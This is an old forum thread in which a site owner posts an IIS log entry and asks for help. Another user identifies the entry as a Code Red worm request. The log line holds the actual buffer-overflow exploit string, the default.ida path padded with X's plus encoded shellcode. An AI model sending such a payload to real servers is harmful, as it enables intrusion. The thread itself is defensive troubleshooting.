Strange Data in Error Logs..Please Help? 1

[TWillard]

Recently my application has been logging some strange data and is not granting access to my site. It will not even render a test.html page. I get the white screen of death 'The page cannot be displayed'. The site was working fine several weeks ago and iis was logging everything fine.
The application and computer have not been messed with at all since the application was first installed.

I am aware of the Code Red Virus and our IT Software Engineer said that he patched the computer with the Code Red Patch. I do not think I have the Code Red Virus for several reasons -

1. We did not get the Hacked By Chineese Screen
2. Our logs did not record 'NNNNNNN' just 'XXXXXX'
3. I downloaded a ran a IP and DNS check for our computer using the virus scanner 'Code Red Finder'.

The following is one line entry in our IIS Logs. Could some one please help me analysis this log and help me fix the problem? What are all the xxx's?


2001-08-20 00:36:48 12.5.23.188 - W3SVC1 GSONTI2W3 192.168.201.122 GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 0 165 3818 78 80 HTTP/1.0 - - -

 

[wushutwist]

This is Code Red. The XXX's are just to cause a Buffer Overflow and hack your system. If the logs do not indicate that default.ida was not found (ie 404 Error) then your System has been compromised. I don't care what the Code Red finder says, it can't possibly detect every possible strain of Code Red.

Again, if the file was not 404 then you are infected. Take the proper precautions or you will most likely regret it in the future. Wushutwist

 

[TWillard]

thanks wushutwist,

I always wondered what the 'XXXXXXXXXXX' were in the logs. As it turns out, our IT Software Engineer had reconfigured our firewall and had not informed me. I was chasing down an error in the wrong place. However, you are correct about take the correct measures for working with IIS bugs and patches. 'Code Red' is just a headache that none of need.

Tim